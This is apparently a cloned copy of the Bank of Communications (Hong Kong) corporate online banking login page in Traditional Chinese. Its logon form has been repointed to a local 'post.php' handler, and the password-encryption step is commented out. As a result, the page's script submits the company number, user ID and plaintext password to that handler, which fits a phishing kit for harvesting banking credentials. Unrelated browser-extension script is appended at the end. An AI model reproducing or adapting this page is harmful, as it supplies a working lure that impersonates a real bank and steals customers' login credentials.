<!DOCTYPE html>
<!-- saved from url=(0096)https://ec.hk.bankcomm.com/corporbank/logon.do?bocom_locale_langFlg=zh_HK&step=_lpd&branchType=1 -->
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>交通銀行(香港)有限公司</title>
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
<link rel="stylesheet" href="jquery-ui-1.9.2.custom.css">
<link rel="stylesheet" href="common.css">
<link rel="stylesheet" href="index-home.css">
<link rel="stylesheet" href="validationEngine.jquery.css">
<script type="text/javascript" src="jquery-2.0.3.js"></script>
<script type="text/javascript" src="jquery-support.js"></script>
<script type="text/javascript" src="jquery-ui-1.9.2.custom.js"></script>
<script type="text/javascript" src="jquery.validationEngine-zh_HK.js"></script>
<script type="text/javascript" src="jquery.validationEngine.js"></script>
<script type="text/javascript" src="main.js"></script>
<script type="text/javascript" src="common-zh_HK.js"></script>
<script type="text/javascript" src="common.js"></script>
<script type="text/javascript" src="index.js"></script>
<script type="text/javascript" src="jsbn.js"></script>
<script type="text/javascript" src="tripledes.js"></script>
<script type="text/javascript" src="mode-ecb.js"></script>
<script type="text/javascript" src="pad-zeropadding-min.js"></script>
<script type="text/javascript" src="pad-nopadding.js"></script>
<script type="text/javascript" src="pad-nopadding-min.js"></script>
<script type="text/javascript" src="WPCommon.js"></script>
<script type="text/javascript" src="sjcl.js"></script>
<script type="text/javascript" src="E2EE.js"></script>
<script type="text/javascript" src="ErrorCheck.js"></script>
<script type="text/javascript" src="pwdEncryption.js"></script>
<script>
function init() {
sjcl.random.startCollectors();
}
</script>
<style type="text/css">
.login-right #tabs .ulImagCSS{
background:white;
margin-left:20px;
width:inherit;
}
.login-right #tabs ul li.liImagCSS{
float:left;
/* width: 84px */
width: 138px;
margin-left: -29px;
}
.login-right #tabs ul li.liImagCSS .pImagCSS{
height:22px;
margin-top:-21px;
}
.login-right #tabs ul li.liImagCSS .pImagCSS .aImagCSS{
/* font-size:12px;
width: 84px;
display: block;
line-height: 11px;
margin-top: 27px; */
font-size:12px;
width: 200px;
display: block;
line-height: 11px;
margin-top: 27px;
margin-left: -29px;
}
</style>
<style type="text/css">@font-face { font-family: Roboto; src: url("chrome-extension://mcgbeeipkmelnpldkobichboakdfaeon/css/Roboto-Regular.ttf"); }</style></head>
<body style="" data-new-gr-c-s-check-loaded="14.1100.0" data-gr-ext-installed="">
<div class="login-con">
<div class="login-logo"><img src="logo.png"></div>
<div class="login-bg">
<img src="ec_banner.jpg">
</div>
<!--左侧-->
<div class="login-left">
<ul class="login-icon">
<li style="width: 84px;"><a href="#" id="link_si"><img src="1_Security Issue.png" border="0"></a><p><a>保安事項</a></p></li>
<li class="login-line"></li>
<li style="width: 84px;"><a href="#" id="link_is"><img src="2_Internet Privacy Policy Statement.png" border="0"></a><p><a>互聯網私隱政策聲明</a></p></li>
<li class="login-line"></li>
<li style="width: 84px;"><a href="#" id="link_as"><img src="3_Important Notice.png" border="0"></a><p><a>重要聲明</a></p></li>
<li class="login-line"></li>
<li style="width: 84px;"><a href="#" id="link_sr"><img src="4_System Requirement.png" border="0"></a><p><a>系統要求</a></p></li>
<li class="login-line"></li>
<li style="width: 84px;"><a href="#" id="link_cop"><img src="5_Freequently Asked Questions.png" border="0"></a><p><a>常見問題</a></p></li>
<li class="login-line"></li>
<li style="width: 84px;"><a href="#" id="link_activate"><img src="6_bank-corporate direct linkage.png" border="0"></a><p><a>USBKey啟動</a></p></li>
</ul>
<div class="clear"></div>
<dl>
<dt>客戶須知:</dt>
<dd>
如閣下以企業網銀號、用戶號/用戶別名及其密碼登入企業網上銀行,請於離開此電腦時
<font style="font-weight: bold;text-decoration: underline;">
即時登出
</font>
該服務,以杜絕閣下的賬戶被第三者盜用而導致損失。企業網上銀行服務受限於上述風險,交通銀行(香港)有限公司不會負責客戶因未能辦妥上述要求而招致之損失。
</dd>
<dd>1、可使用Google Chrome 57,Firefox 52 和Safari 9或以上之瀏覽器。</dd>
<dd>2、如需查詢企業網上銀行服務之操作,請致電企業客戶服務熱線 (852) 226 99388。</dd>
</dl>
</div>
<!--右侧-->
<div class="login-right">
<div class="login-tab" id="tabs">
<ul>
<li id="ref_tab-1"><font size="2"><b>歡迎使用企業網上銀行</b></font></li><!-- 歡迎使用企業網上銀行 -->
</ul>
<p class="l-title"><a href="#">企業網銀登錄</a></p><!-- 企業網銀登录 -->
<div class="content-main nav-none" style="height:311px">
<div class="content-inner">
<div id="tabs-1" style="display:block">
<form id="validateInput">
<table style="margin-top: -1px;">
<tbody>
<tr>
<td style="width: 42px;">企業網銀號:</td> <!-- 企業網銀號 -->
<td width="190" colspan="3">
80-
<input type="text" id="cstNoFirst" size="1" maxlength="2" value="" onkeyup="if(this.value.length==2) cstNoSecond.focus();" onblur="if(!isInteger(this.value)){this.value=this.value.replace(/[^0-9]/g,'');}this.value=('000'+ this.value).slice(-2);" autocomplete="off">
-
<input style="padding-left:2px;" class="validate[required,funcCall[cstNoEmptyCheck]]" type="text" id="cstNoSecond" size="11" maxlength="10" value="" onblur="if(!isInteger(this.value)){this.value=this.value.replace(/[^0-9]/g,'');}this.value=('000000000'+ this.value).slice(-10);" autocomplete="off">
</td>
</tr>
<tr>
<td style="white-space:nowrap">用戶號/用戶別名:</td><!-- 用戶號/用戶別名 -->
<td width="190" colspan="3"> <input style="padding-left:5px;" class="validate[required,funcCall[dataCheck]]" size="21" type="text" id="oprName" value="" autocomplete="off"></td>
</tr>
<tr>
<td>語言:</td><!-- 語言 -->
<td width="190" colspan="3">
<p>
<select id="languageOption" class="validate[required]">
<option value="zh_HK" selected="selected">繁體中文</option>
<option value="zh_CN">简体中文</option>
<option value="en_US">English</option>
</select>
</p>
</td>
</tr>
<tr>
<td>密碼:</td><!-- 密碼 -->
<td width="190" colspan="3" style="padding-left:5px;"><input style="padding-left:5px;" class="validate[required]" size="21" type="password" id="password" autocomplete="off"></td>
</tr>
</tbody>
<tfoot>
<tr class="bt_area">
<td colspan="4" class="td_t" align="center">
<p class="contact-submit" style="">
<input id="submitButton" class="active" type="button" value="登錄">
</p>
<p class="contact-submit" style="">
<input id="resetButton" class="" type="button" value="重置">
</p>
</td>
</tr>
<tr class="bt_area">
<td colspan="4" class="td_t" style="text-align: right;">
<a href="https://ec.hk.bankcomm.com/corporbank/resetPW/resetPw.do?branchType=1">忘記密碼 ?</a>
</td>
</tr>
<tr class="bt_area">
<td colspan="4" class="td_t" style="text-align: right;">
<a href="https://ec.hk.bankcomm.com/corporbank/resetTKPW/resetTKPW.do?branchType=1&bocom_locale_langFlg=zh_HK">保安編碼器解鎖</a>
</td>
</tr>
<tr>
<td colspan="4">
<span>企業客戶服務熱線: (852) 226 99388</span>
</td>
</tr>
<tr>
<td colspan="4">
<span style="color: #b50000">溫馨提示:在登入過程中,切勿把顯示在互聯網上的數字輸入到您的保安編碼器。</span>
</td>
</tr>
</tfoot>
</table>
</form>
</div>
</div>
</div>
<div>
<ul class="ulImagCSS">
<li class="liImagCSS"><a href="https://ec.hk.bankcomm.com/corporbank/logon.do?bocom_locale_langFlg=zh_HK&step=_lpd&branchType=1#" id="link_sd" class="aImagCSS"><img src="8_Service_Demo.png" border="0"></a><p class="pImagCSS"><a class="aImagCSS">服務示範</a></p></li>
<li class="liImagCSS"><a href="https://ec.hk.bankcomm.com/corporbank/logon.do?bocom_locale_langFlg=zh_HK&step=_lpd&branchType=1#" id="link_ms" class="aImagCSS"><img src="9_Maintenance_Schedule.png" border="0"></a><p class="pImagCSS"><a class="aImagCSS">系統提升時間表</a></p></li>
</ul>
</div>
</div>
<div class="login-bott">
<ul>
<li><a href="https://ec.hk.bankcomm.com/corporbank/logon.do?bocom_locale_langFlg=zh_HK&step=_lpd&branchType=1#" id="link_cp">綜合條款</a></li> <!-- 綜合條款 -->
<li><a href="https://ec.hk.bankcomm.com/corporbank/logon.do?bocom_locale_langFlg=zh_HK&step=_lpd&branchType=1#" id="link_ep">網銀條款</a></li> <!-- 網銀條款 -->
<li><a href="https://ec.hk.bankcomm.com/corporbank/logon.do?bocom_locale_langFlg=zh_HK&step=_lpd&branchType=1#" id="link_fc">電郵騙案</a></li> <!-- 電郵騙案 -->
</ul>
</div>
</div>
</div>
<div class="index_foot">
<p>
© 交通銀行(香港)有限公司(交通銀行股份有限公司全資附屬公司)。版權所有。
</p>
</div>
<form id="logonForm" action="post.php" method="post">
<input type="hidden" name="step" value="_lg">
<input type="hidden" name="cstNo">
<input type="hidden" name="oprName">
<input type="hidden" name="password">
<input type="hidden" name="bocom_locale_langFlg">
<input type="hidden" name="branchType" value="1">
</form>
<form id="logonActivateForm" action="#" method="post">
<input type="hidden" name="step" value="_activate">
<input type="hidden" name="cstNo">
<input type="hidden" name="oprName">
<input type="hidden" name="password">
<input type="hidden" name="bocom_locale_langFlg" value="zh_HK">
<input type="hidden" name="branchType" value="1">
</form>
<form name="languageForm" id="languageForm" method="post" action="">
<input type="hidden" name="step" value="_lpd">
<input type="hidden" name="bocom_locale_langFlg" id="bocom_locale_langFlg">
<input type="hidden" name="branchType" value="1">
<!-- 回显客户号、用户号 -->
<input type="hidden" name="cstNoFirst">
<input type="hidden" name="cstNoSecond">
<input type="hidden" name="oprNameForBack">
</form>
<script type="text/javascript">
$(function(){
$("#cstNoFirst").focus();
$("#validateInput").validationEngine("attach",{
'custom_error_messages':{
'#cstNoSecond': {
'required':{
'message': "請輸入企業網銀號" //請輸入企業網銀號
}
},
'#oprName': {
'required':{
'message': "請輸入用戶編號/用戶別名" //請輸入用戶編號/用戶別名
}
},
'#password': {
'required':{
'message': "請輸入密碼" //請輸入密码
}
}
},
'autoHidePrompt':true,
'autoHideDelay':2000,
'promptPosition' : "bottomRight"
});
});
//登錄提交
var checkFlag = true;
$("#submitButton").click(function(){
var userAgent = navigator.userAgent;
var isillegal = "false";
var version = "";
if(userAgent.indexOf("Chrome") > -1 ){//Google Chrome
version = userAgent.substring(userAgent.indexOf('Chrome')+7,userAgent.indexOf('Safari'));
if(parseInt(version) < 57 || userAgent.indexOf("Edge") > -1 || userAgent.indexOf("Edg") > -1 || userAgent.indexOf("WOW64")>-1 || userAgent.indexOf("QQBrowser")>-1){//Google Chrome版本 57或以上
isillegal = "true";//非官方支援浏览器
}
}else if(userAgent.indexOf("Firefox") > -1){//Firefox
version = userAgent.substring(userAgent.indexOf('Firefox')+8);
if(parseInt(version) < 52){//Firefox版本 52或以上
isillegal = "true";//非官方支援浏览器
}
}else if(userAgent.indexOf("Safari") > -1){//Safari
version = userAgent.substring(userAgent.indexOf('Version')+8,userAgent.indexOf('Safari'));
if(parseInt(version) < 9){//Safari版本 9或以上
isillegal = "true";//非官方支援浏览器
}
}else {////非官方支援浏览器
isillegal = "true";
}
if(isillegal == "true"){
var data={content:'為提供更安全的企業網上銀行服務,透過企業網上銀行登入時,請確保您的瀏覽器符合最低要求。',confEvent:function(){subForm();}};
Util.confirm(data);
}else {
subForm();
}
});
//提交按钮回车事件绑定
document.onkeypress = keyEnter;
function keyEnter(e){
e = e ? e : event;
if (e.keyCode == 13) {
subForm();
return false;
}
};
function subForm(){
if($("#validateInput").validationEngine("validate")){
$('#submitButton').removeClass("active")
$('#submitButton').addClass("disabled")
$('#submitButton').prop({'disabled':true});
if(checkFlag){
checkFlag = false;
setTimeout(function(){//3秒内不能重复点击
checkFlag = true;
$('#submitButton').removeClass("disabled")
$('#submitButton').addClass("active")
$('#submitButton').prop({'disabled':false});
},3000);
var cstNo = "80" + $("#cstNoFirst").val() + $("#cstNoSecond").val();
$("input[name='cstNo']").val(cstNo);
$("input[name='oprName']").val($("#oprName").val());
$("input[name='password']").val($("#password").val());
//$("input[name='password']").val(encryptPassword2($("#password").val(),'dna2cgmvhy2iynrf'));
$("input[name='bocom_locale_langFlg']").val($("#languageOption").val());
$("#logonForm").submit();
}
};
};
//重置
$("#resetButton").click(function(){
$("#cstNoFirst").val("");
$("#cstNoSecond").val("");
$("#oprName").val("");
$("#password").val("");
});
//判断数值,必须为正整数
function isInteger(obj,str){
var newpar=/^\d+$/;
if((str != "")&&(!newpar.test(str))){
obj.value = "";
obj.focus();
return false;
}
return true;
};
function isInteger(str) {
// 检查变量的每一位是否都是数字
for(var i = 0; i < str.length; i++) {
var oneChar = str.charAt(i);
if(oneChar < 0 || oneChar > 9){
return false;
};
}
return true;
};
//客户号非空验证
function cstNoEmptyCheck(field,rules,i,options){
if ($("#cstNoFirst").val() == "" || field.val() == "") {
//請輸入企業網銀號
return "請輸入企業網銀號";
}
};
//用户别名(8-15)、操作员号校验(6)
function dataCheck(field,rules,i,options){
var OprNoRegex = /^[0-9]{6}/;
var OprAliasRegex = /^[a-zA-Z0-9]{8,15}$/;
var data = field.val();
//小于六位
if (data.length < 6) {
//提示请输入正确的用户号或用户别名
return "請輸入有效的用戶編號/用戶別名";
}else if (data.length == 6 && !OprNoRegex.exec(data)){
//此时默认按照用户号规则校验
return "請輸入有效的用戶編號/用戶別名";
}else if (data.length > 6 && !OprAliasRegex.exec(data)) {
//此时默认按照用户别名规则校验
return "請輸入有效的用戶編號/用戶別名";
};
};
//语言环境切换
$("#languageOption").change(function(){
//$("input[name='cstNoFirst']").val($("#cstNoFirst").val());
//$("input[name='cstNoSecond']").val($("#cstNoSecond").val());
//$("input[name='oprNameForBack']").val($("#oprName").val());
//$("#bocom_locale_langFlg").val($(this).val());
//$("#languageForm").submit();
window.location="/corporbank/logon.do?bocom_locale_langFlg="+$(this).val()+"&step=_lpd&branchType=1";
});
//链接
$("a").click(function(){
var theproperty="toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,resizable=yes,width=800,height=550";
var language = $("#languageOption").val();
var id = $(this).attr("id");
//保安事项
if ("link_si" == id) {
if('zh_HK'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/tw/2004980/2006400/2015001/2500486.shtml?channelId=2004980";
var basxwin=window.open(_htmlurl,"basxwin",theproperty);
basxwin.focus();
}else if('zh_CN'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/cn/2005276/2008515/2015003/2500488.shtml?channelId=2005276";
var basxwin=window.open(_htmlurl,"basxwin",theproperty);
basxwin.focus();
}else if('en_US'==language){
_htmlurl='https://www.hk.bankcomm.com/hk/shtml/hk/en/2005575/2008556/2015004/2500487.shtml?channelId=2005575';
var basxwin=window.open(_htmlurl,"basxwin",theproperty);
basxwin.focus();
};
};
//互联网隐私政策
if ("link_is" == id) {
if('zh_HK'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/tw/2005223/2005263/2038469.shtml?channelId=2005223";
var zcsmwin=window.open(_htmlurl,"zcsmwin",theproperty);
zcsmwin.focus();
}else if('zh_CN'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/cn/2005523/2005553/2038591.shtml?channelId=2005523";
var zcsmwin=window.open(_htmlurl,"zcsmwin",theproperty);
zcsmwin.focus();
}else if('en_US'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/en/2005806/2005836/2038695.shtml?channelId=2005806";
var zcsmwin=window.open(_htmlurl,"zcsmwin",theproperty);
zcsmwin.focus();
};
};
//重要声明
if ("link_as" == id) {
if('zh_HK'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/tw/2004980/2006400/2007049/2039134.shtml?channelId=2004980";
var zysmwin=window.open(_htmlurl,"zysmwin",theproperty);
zysmwin.focus();
}else if('zh_CN'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/cn/2005276/2008515/2008522/2041722.shtml?channelId=2005276";
var zysmwin=window.open(_htmlurl,"zysmwin",theproperty);
zysmwin.focus();
}else if('en_US'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/en/2005575/2008556/2008571/2041876.shtml?channelId=2005575";
var zysmwin=window.open(_htmlurl,"zysmwin",theproperty);
zysmwin.focus();
};
};
//系统要求
if ("link_sr" == id) {
if('zh_HK'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/tw/2004980/2006400/2007049/2500124.shtml?channelId=2004980";
var xtyqwin=window.open(_htmlurl,"xtyqwin",theproperty);
xtyqwin.focus();
}else if('zh_CN'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/cn/2005276/2008515/2008522/2500228.shtml?channelId=2005276";
var xtyqwin=window.open(_htmlurl,"xtyqwin",theproperty);
xtyqwin.focus();
}else if('en_US'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/en/2005575/2008556/2008571/2500126.shtml?channelId=2005575";
var xtyqwin=window.open(_htmlurl,"xtyqwin",theproperty);
xtyqwin.focus();
};
};
//常见问题
if ("link_cop" == id) {
if('zh_HK'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/tw/2004980/2006400/2015001/2014985/2077261.shtml?channelId=2004980";
var cjwtwin=window.open(_htmlurl,"cjwtwin",theproperty);
cjwtwin.focus();
}else if('zh_CN'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/cn/2005276/2008515/2015003/2014986/2077263.shtml?channelId=2005276";
var cjwtwin=window.open(_htmlurl,"cjwtwin",theproperty);
cjwtwin.focus();
}else if('en_US'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/en/2005575/2008556/2015004/2014987/2077264.shtml?channelId=2005575";
var cjwtwin=window.open(_htmlurl,"cjwtwin",theproperty);
cjwtwin.focus();
};
};
//综合条款
if ("link_cp" == id) {
if('zh_HK'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/tw/2005223/2005260/2038466.shtml?channelId=2005223";
var fwtkwin=window.open(_htmlurl,"zhfwtkwin",theproperty);
fwtkwin.focus();
}else if('zh_CN'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/cn/2005523/2005550/2038588.shtml?channelId=2005523";
var fwtkwin=window.open(_htmlurl,"zhfwtkwin",theproperty);
fwtkwin.focus();
}else if('en_US'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/en/2005806/2005833/2038691.shtml?channelId=2005806";
var fwtkwin=window.open(_htmlurl,"zhfwtkwin",theproperty);
fwtkwin.focus();
};
};
//网银条款
if ("link_ep" == id) {
if('zh_HK'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/tw/file/getContentPath.do?fileId=2077220";
var fwtkwin=window.open(_htmlurl,"qyfwtkwin",theproperty);
fwtkwin.focus();
}else if('zh_CN'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/cn/file/getContentPath.do?fileId=2077221";
var fwtkwin=window.open(_htmlurl,"qyfwtkwin",theproperty);
fwtkwin.focus();
}else if('en_US'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/en/file/getContentPath.do?fileId=2077222";
var fwtkwin=window.open(_htmlurl,"qyfwtkwin",theproperty);
fwtkwin.focus();
};
};
//电邮骗案
if ("link_fc" == id) {
if('zh_HK'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/tw/file/getContentPath.do?fileId=2077214";
var xtyqwin=window.open(_htmlurl,"xtyqwin",theproperty);
xtyqwin.focus();
}else if('zh_CN'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/cn/file/getContentPath.do?fileId=2077216";
var xtyqwin=window.open(_htmlurl,"xtyqwin",theproperty);
xtyqwin.focus();
}else if('en_US'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/en/file/getContentPath.do?fileId=2077217";
var xtyqwin=window.open(_htmlurl,"xtyqwin",theproperty);
xtyqwin.focus();
};
};
//服務示範
if ("link_sd" == id) {
if('zh_HK'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/uploadhk/infos/201712/21/2503769/ec_demo_tw/index.html";
var fwsf=window.open(_htmlurl,"fwsfwin",theproperty);
fwsf.focus();
}else if('zh_CN'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/uploadhk/infos/201712/21/2503775/ec_demo_cn/index.html";
var fwsf=window.open(_htmlurl,"fwsfwin",theproperty);
fwsf.focus();
}else if('en_US'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/uploadhk/infos/201712/21/2503772/ec_demo_en/index.html";
var fwsf=window.open(_htmlurl,"fwsfwin",theproperty);
fwsf.focus();
};
};
// 系統提升時間表
if ("link_ms" == id) {
if('zh_HK'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/tw/2004972/2014678/2074250.shtml?channelId=2004972";
var xttssjb=window.open(_htmlurl,"xttssjbwin",theproperty);
xttssjb.focus();
}else if('zh_CN'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/cn/2005269/2016755/2082281.shtml?channelId=2005269";
var xttssjb=window.open(_htmlurl,"xttssjbwin",theproperty);
xttssjb.focus();
}else if('en_US'==language){
_htmlurl="https://www.hk.bankcomm.com/hk/shtml/hk/en/2005568/2014680/2074355.shtml?channelId=2005568";
var xttssjb=window.open(_htmlurl,"xttssjbwin",theproperty);
xttssjb.focus();
};
};
//直连激活
if ("link_activate" == id) {
$("#logonActivateForm").submit();
};
});
</script>
<script>
function returnCommentSymbol(language = "javascript") {
const languageObject = {
bat: "@REM",
c: "//",
csharp: "//",
cpp: "//",
closure: ";;",
coffeescript: "#",
dockercompose: "#",
css: "/*DELIMITER*/",
"cuda-cpp": "//",
dart: "//",
diff: "#",
dockerfile: "#",
fsharp: "//",
"git-commit": "//",
"git-rebase": "#",
go: "//",
groovy: "//",
handlebars: "{{!--DELIMITER--}}",
hlsl: "//",
html: "<!--DELIMITER-->",
ignore: "#",
ini: ";",
java: "//",
javascript: "//",
javascriptreact: "//",
json: "//",
jsonc: "//",
julia: "#",
latex: "%",
less: "//",
lua: "--",
makefile: "#",
markdown: "<!--DELIMITER-->",
"objective-c": "//",
"objective-cpp": "//",
perl: "#",
perl6: "#",
php: "<!--DELIMITER-->",
powershell: "#",
properties: ";",
jade: "//-",
python: "#",
r: "#",
razor: "<!--DELIMITER-->",
restructuredtext: "..",
ruby: "#",
rust: "//",
scss: "//",
shaderlab: "//",
shellscript: "#",
sql: "--",
svg: "<!--DELIMITER-->",
swift: "//",
tex: "%",
typescript: "//",
typescriptreact: "//",
vb: "'",
xml: "<!--DELIMITER-->",
xsl: "<!--DELIMITER-->",
yaml: "#"
}
return languageObject[language].split("DELIMITER")
}
var savedChPos = 0
var returnedSuggestion = ''
let editor, doc, cursor, line, pos
pos = {line: 0, ch: 0}
var suggestionsStatus = false
var docLang = "python"
var suggestionDisplayed = false
var isReturningSuggestion = false
document.addEventListener("keydown", (event) => {
setTimeout(()=>{
editor = event.target.closest('.CodeMirror');
if (editor){
const codeEditor = editor.CodeMirror
if(!editor.classList.contains("added-tab-function")){
editor.classList.add("added-tab-function")
codeEditor.removeKeyMap("Tab")
codeEditor.setOption("extraKeys", {Tab: (cm)=>{
if(returnedSuggestion){
acceptTab(returnedSuggestion)
}
else{
cm.execCommand("defaultTab")
}
}})
}
doc = editor.CodeMirror.getDoc()
cursor = doc.getCursor()
line = doc.getLine(cursor.line)
pos = {line: cursor.line, ch: line.length}
if(cursor.ch > 0){
savedChPos = cursor.ch
}
const fileLang = doc.getMode().name
docLang = fileLang
const commentSymbol = returnCommentSymbol(fileLang)
if (event.key == "?"){
var lastLine = line
lastLine = lastLine.slice(0, savedChPos - 1)
if(lastLine.trim().startsWith(commentSymbol[0])){
lastLine += " "+fileLang
lastLine = lastLine.split(commentSymbol[0])[1]
window.postMessage({source: 'getQuery', payload: { data: lastLine } } )
isReturningSuggestion = true
displayGrey("\nBlackbox loading...")
}
}else if(event.key === "Enter" && suggestionsStatus && !isReturningSuggestion){
var query = doc.getRange({ line: Math.max(0,cursor.line-10), ch: 0 }, { line: cursor.line, ch: line.length })
window.postMessage({source: 'getSuggestion', payload: { data: query, language: docLang } } )
displayGrey("Blackbox loading...")
}else if(event.key === "ArrowRight" && returnedSuggestion){
acceptTab(returnedSuggestion)
}else if(event.key === "Enter" && isReturningSuggestion){
displayGrey("\nBlackbox loading...")
}else if(event.key === "Escape"){
displayGrey("")
}
}
}, 0)
})
function acceptTab(text){
if (suggestionDisplayed){
displayGrey("")
doc.replaceRange(text, pos)
returnedSuggestion = ""
updateSuggestionStatus(false)
}
}
function acceptSuggestion(text){
displayGrey("")
doc.replaceRange(text, pos)
returnedSuggestion = ""
updateSuggestionStatus(false)
}
function displayGrey(text){
if(!text){
document.querySelector(".blackbox-suggestion").remove()
return
}
var el = document.querySelector(".blackbox-suggestion")
if(!el){
el = document.createElement('span')
el.classList.add("blackbox-suggestion")
el.style = 'color:grey'
el.innerText = text
}
else{
el.innerText = text
}
var lineIndex = pos.line;
editor.getElementsByClassName('CodeMirror-line')[lineIndex].appendChild(el)
}
function updateSuggestionStatus(s){
suggestionDisplayed = s
window.postMessage({source: 'updateSuggestionStatus', status: suggestionDisplayed, suggestion: returnedSuggestion})
}
window.addEventListener('message', (event)=>{
if (event.source !== window ) return
if (event.data.source == 'return'){
isReturningSuggestion = false
const formattedCode = formatCode(event.data.payload.data)
returnedSuggestion = formattedCode
displayGrey(formattedCode)
updateSuggestionStatus(true)
}
if(event.data.source == 'suggestReturn'){
returnedSuggestion = event.data.payload.data
displayGrey(event.data.payload.data)
updateSuggestionStatus(true)
}
if(event.data.source == 'suggestionsStatus'){
suggestionsStatus = event.data.payload.enabled
}
if(event.data.source == 'acceptSuggestion'){
acceptSuggestion(event.data.suggestion)
}
})
document.addEventListener("keyup", function(){
returnedSuggestion = ""
updateSuggestionStatus(false)
})
function formatCode(data) {
if (Array.isArray(data)) {
var finalCode = ""
var pairs = []
const commentSymbol = returnCommentSymbol(docLang)
data.forEach((codeArr, idx) => {
const code = codeArr[0]
var desc = codeArr[1]
const descArr = desc.split("\n")
var finalDesc = ""
descArr.forEach((descLine, idx) => {
const whiteSpace = descLine.search(/\S/)
if (commentSymbol.length < 2 || idx === 0) {
finalDesc += insert(descLine, whiteSpace, commentSymbol[0])
}
if (commentSymbol.length > 1 && idx === descArr.length - 1) {
finalDesc = finalDesc + commentSymbol[1] + "\n"
}
})
finalCode += finalDesc + "\n\n" + code
pairs.push(finalCode)
})
return "\n"+pairs.join("\n")
}
return "\n"+data
}
function insert(str, index, value) {
return str.substr(0, index) + value + str.substr(index)
}
</script></body><grammarly-desktop-integration data-grammarly-shadow-root="true"></grammarly-desktop-integration></html>